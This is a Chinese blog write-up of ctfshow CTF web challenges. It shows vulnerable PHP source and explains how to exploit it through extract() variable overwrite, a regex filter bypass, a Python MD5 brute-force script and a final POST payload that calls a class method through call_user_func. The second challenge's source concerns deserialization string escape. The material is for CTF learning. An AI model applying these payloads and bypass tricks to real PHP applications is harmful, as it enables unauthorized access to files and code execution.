桐桑又开始摸鱼了 ctfshow的比赛整的一手好活。djb杯。

web1_veryphp

打开就是源码:

 1  <?php
2 error_reporting(0);
3 highlight_file(__FILE__);
4 include("config.php");
5 class qwq
6 {
7 function __wakeup(){
8 die("Access Denied!");
9 }
10 static function oao(){
11 show_source("config.php");
12 }
13 }
14 $str = file_get_contents("php://input");
15 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
16 die("I am sorry but you have to leave.");
17 }else{
18 extract($_POST);
19 }
20 if(isset($shaw_root)){
21 if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
22 echo $hint;
23 }else{
24 echo "Almost there."."<br>";
25 }
26 }else{
27 echo "<br>"."Input correct parameters"."<br>";
28 die();
29 }
30 if($ans===$SecretNumber){
31 echo "<br>"."Congratulations!"."<br>";
32 call_user_func($my_ans);
33 }
34
35 Input correct parameters

    解析代码,在第四行对我们未知的文件config.php进行了包含,我们要去读取config.php就需要去触发qaq这个类中的oao函数。于是我们去尝试触发这个函数。并且我们可以看到在代码第32行出现了究极危险函数call_user_func,这个函数能把后面的参数当成函数进行调用。参数可以是系统函数,也可以是已经定义过的函数。比如我们将这里的$my_ans参数值调为phpinfo(此参数不能含有括号,所以无法执行含有参数的函数),效果和phpinfo()效果是一样的。

  之前类中的oao函数就是我们要进行调用的函数,于是可以在此处将参数值设定为qaq::oao就能成功读到config.php。于是我们此时的重点应该放在去控制$my_ans这个参数上面。在前面有一个考点是extract的参数变量覆盖,具体考点百度,于是我们可以通过post参数值对已经存在的参数进行覆盖。要触发危险函数call_user_func需要让$ans和$SecretNumber数值相等。如何相等我们只能去获得22行中的$hint。

  用接地气的话来说要获得这个hint很简单但也很操蛋。因为那个正则匹配看起来强的雅痞,但实际上稍微会一些正则匹配就不会被难倒。这里挂一篇wh1sper的文章,讲的很详细足够web手去掌握正则匹配(zmr yyds)http://wh1sper.com/%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/

  放出我的本地bypass吧,其实不能算bypass,因为绕过确实是很简单

  

1 <?php
2 $str = '-a9<b>wdnmd>>>>kkkkabcphp@Rsd';//payload
3 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)) {
4 echo 'wdnmd';
5 }
6 else{
7 echo 'nice!!!';
8 }

  绕过之后会获得hint,内容是Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

  这个md5的值是对已知开头和结尾的字符串的md5加密,看似很nb,实际上只需要去爆破中间的$SecretNumber,因为毕竟是五位数字,也就100000种情况。爆破脚本如下

  

 1 #Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
2 import hashlib
3 for i in range(1,99999):
4 a = str(i).zfill(5)
5 payload = 'shaw'+a+'root'
6 hl = hashlib.md5()
7 hl.update(payload.encode(encoding='utf-8'))
8 b = hl.hexdigest()
9
10 if b == '166b47a5cb1ca2431a0edfcef200684f':
11 print(a)

  其中zfill()就是将不足五位数字的数在数字空缺位置上补零,生成由00000到99999所有的五位数字,爆出来结果是21475

  然后post传值覆盖$ans就能成功触发危险函数。并且绕过了黑名单(因为思路正确,和出题人完全一致,通过考点),最终payload:

    shaw root=-a9<b>wdnmd>>>>kkkkabcphp@Rsd&ans=21475&my ans=qwq::oao

哦对了还有一个考点:传入参数前shaw_root中间有_过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线_,有空格和[和+

web_spaceman

  这题。。。出的翻车了,本来打算靠反序列化字符串逃逸的,结果用空格绕过_的conter就能直接对$user_name和$pass_word进行赋值。本身的反序列化字符串逃逸也不是很难。给个源码吧:

 1  <?php
2 error_reporting(0);
3 highlight_file(__FILE__);
4 class spaceman
5 {
6 public $username;
7 public $password;
8 public function __construct($username,$password)
9 {
10 $this->username = $username;
11 $this->password = $password;
12 }
13 public function __wakeup()
14 {
15 if($this->password==='ctfshowvip')
16 {
17 include("flag.php");
18 echo $flag;
19 }
20 else
21 {
22 echo 'wrong password';
23 }
24 }
25 }
26 function filter($string){
27 return str_replace('ctfshowup','ctfshow',$string);
28 }
29 $str = file_get_contents("php://input");
30 if(preg_match('/\_|\.|\]|\[/is',$str)){
31 die("I am sorry but you have to leave.");
32 }else{
33 extract($_POST);
34 }
35 $ser = filter(serialize(new spaceman($user_name,$pass_word)));
36 $test = unserialize($ser);
37 ?>

web3|4_虎山行

  这两个会在明天的phar反序列化合集中出现。即当你看到这句话的下一天。

ctfshow_djb杯的更多相关文章

  1. 2015游戏蛮牛——蛮牛杯第四届开发者大赛 创见VR未来开启报名

    蛮牛杯启动了,大家开始报名! http://cup.manew.com/ 这不是一篇普通的通稿,别着急忽略它.它是一篇可以让你梦想变现的通稿! 从某一天开始,游戏蛮牛就立志要为开发者服务,我们深知这一 ...

  2. 2014嘉杰信息杯ACM/ICPC湖南程序设计邀请赛暨第六届湘潭市程序设计竞赛

    比赛链接: http://202.197.224.59/OnlineJudge2/index.php/Contest/problems/contest_id/36 题目来源: 2014嘉杰信息杯ACM ...

  3. 欧冠杯:葡萄牙VS法国——葡萄牙首次夺冠!

    北京时间7月11日凌晨3点,2016欧洲杯决赛,葡萄牙在法兰西大球场1-0击败东道主法国,历史上首次夺冠.C罗伤退落泪,替补出场的埃德尔在加时赛第109分钟完成绝杀. 昨晚上本来准备熬夜看球赛的!而且 ...

  4. 自罚一杯-PHP基础(一)

    hi 懒癌是最可怕的癌了吧,在即将迎来本命年时,给自己定下每天必干的几件成习惯的事情,望不再鸽!! php是我一直在学习的东西,但总以为php简单,难点在需要掌握大量的相关知识,其实并不完全对,php ...

  5. 2012年 蓝桥杯预赛 java 本科 题目

    2012年 蓝桥杯预赛 java 本科 考生须知: l  考试时间为4小时. l  参赛选手切勿修改机器自动生成的[考生文件夹]的名称或删除任何自动生成的文件或目录,否则会干扰考试系统正确采集您的解答 ...

  6. [文字雲產生器] Tagxedo 把文字串成雲、變成畫,印在 T-Shirt、馬克杯、詩袋….

    http://www.tagxedo.com/app.html 有種東西叫「Word Clouds」,就是把一堆文字依照不同的大小.顏色.角度與位置拼湊在一起,讓他變成像一朵雲一般.組合成各種不同的形 ...

  7. 蓝桥杯历届试题 地宫取宝 dp or 记忆化搜索

    问题描述 X 国王有一个地宫宝库.是 n x m 个格子的矩阵.每个格子放一件宝贝.每个宝贝贴着价值标签. 地宫的入口在左上角,出口在右下角. 小明被带到地宫的入口,国王要求他只能向右或向下行走. 走 ...

  8. 蓝桥杯---数独(模拟 || dfs)

    [编程题](满分33分) "数独"是当下炙手可热的智力游戏.一般认为它的起源是"拉丁方块",是大数 学家欧拉于1783年发明的. 如图[1.jpg]所示:6x6 ...

  9. 蓝桥杯---剪格子(DFS&BFS)(小总结)

    问题描述 如下图所示,3 x 3 的格子中填写了一些整数. +--*--+--+ |10* 1|52| +--****--+ |20|30* 1| *******--+ | 1| 2| 3| +--+ ...

随机推荐

  1. Webpack的学习总结(1)

    入门 Webpack,看这篇就够了 入门 Webpack,看这篇就够了 写在前面的话 一个基础的webpack配置文件 什么是WebPack,为什么要使用它? WebPack和Grunt以及Gulp相 ...

  2. Known快速开发框架

    Known是一个基于.NET开发的快速开发框架,前后端分离,使用极少的第三方组件,开发简单快速,大部分代码可通过代码生成工具自动生成,非常适合单兵作战和小团队开发.前端UI是一个基于JQuery开发的 ...

  3. Git的使用以及命令

    个人常用命令 git初始化操作 git init 把当前的目录变成git仓库,生成隐藏.git文件. git remote add origin url 把本地仓库的内容推送到GitHub仓库. gi ...

  4. 【程序包管理】Linux程序包管理之rpm安装总结

    rpm简介 rpm( Red Hat Package Manager )是一个开放的软件包管理系统.它工作于Red Hat Linux及其他Linux系统,成为Linux中公认的软件包管理标准. rp ...

  5. DX关联VS

    // Windows API: #include <windows.h>   // C 运行时头文件,测试可能会用到 #include <stdlib.h>  //standa ...

  6. statementType 使用

    要实现动态传入表名.列名,需要做如下修改 添加属性statementType="STATEMENT" 同时sql里的属有变量取值都改成${xxxx},而不是#{xxx}<de ...

  7. 基于ESP32的智能家居管理系统的设计与实现

    基于ESP32的智能家居管理系统的设计与实现 ESP32的智能家居管理系统访问链接: https://www.cnblogs.com/easyidea/p/13101165.html 一.需求分析 1 ...

  8. Redis-基础和应用篇

    2020,到新公司这一年多以来,更新文章和总结知识的习惯被丢掉了.我复盘了下自己,原因不是公司技术氛围不好,也不是每天业务需求太多,其根本原因还是---惰性.作为我们技术人随着年龄的增长,精力也会被生 ...

  9. Windows server 安装远程桌面及破解120天时间限制授权

    一.问题描述 Windows Server系列服务器默认远程桌面连接数是2个用户(本文适用于所有Windows Server系列服务器),如果多余两个用户进行远程桌面连接时,系统就会提示超过连接数,可 ...

  10. OpenTelemetry - 云原生下可观测性的新标准

    CNCF 简介 CNCF(Cloud Native Computing Foundation),中文为"云原生计算基金会",CNCF是Linux基金会旗下的基金会,可以理解为一个非 ...